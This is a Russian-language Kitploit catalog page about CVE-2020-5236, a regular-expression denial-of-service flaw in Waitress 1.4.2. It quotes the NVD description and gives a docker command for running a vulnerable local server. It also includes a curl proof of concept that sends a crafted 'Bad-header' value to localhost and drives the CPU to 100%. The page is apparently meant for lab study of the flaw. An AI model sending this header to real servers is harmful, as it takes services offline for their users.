Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2020-5236 — Waitress 1.4.2 ReDoS - CVE-2020-5236 (Пример кода из блога) | Kitploit
Инструменты/GitHubGitHub/motikan2010/cve-2020-5236
Анализ уязвимостейВеб-безопасностьОбучение и ОбразованиеЛаборатории и Практика
GitHubmotikan2010/cve-2020-5236

CVE-2020-5236

Waitress 1.4.2 ReDoS - CVE-2020-5236 (Пример кода из блога)

Репозиторий
4216 лет назадЕщё не проверено
Сайт

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Waitress 1.4.2 ReDoS - CVE-2020-5236

Waitress версии 1.4.2 позволяет провести DoS-атаку, когда waitress получает заголовок, содержащий недопустимые символы. При получении заголовка вида "Bad-header: xxxxxxxxxxxxxxx\x10" это приводит к катастрофическому возврату в движке регулярных выражений, что заставляет процесс использовать 100% времени CPU и блокирует любые другие взаимодействия. Это позволяет злоумышленнику отправить один запрос с недопустимым заголовком и вывести сервис из строя.

от NVD

Использование

Запуск уязвимого сервера

root@kitploit:~
$ docker run --rm --name waitress -v "$PWD/src:/src" -p "8080:8080" -it python:3.7-slim python /src/server.py

PoC

root@kitploit:~
$ curl "http://127.0.0.1:8080/hello/hogefuga" -H "Bad-header: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx`echo -n '\x10'`"

Показать использование CPU сервером. Выполните "docker stats waitress".
↓ Выполнение PoC



Ссылки

  • NVD - CVE-2020-5236
  • Катастрофический возврат в регулярном выражении, приводящий к отказу в обслуживании · Уведомление · Pylons/waitress
Скачать инструмент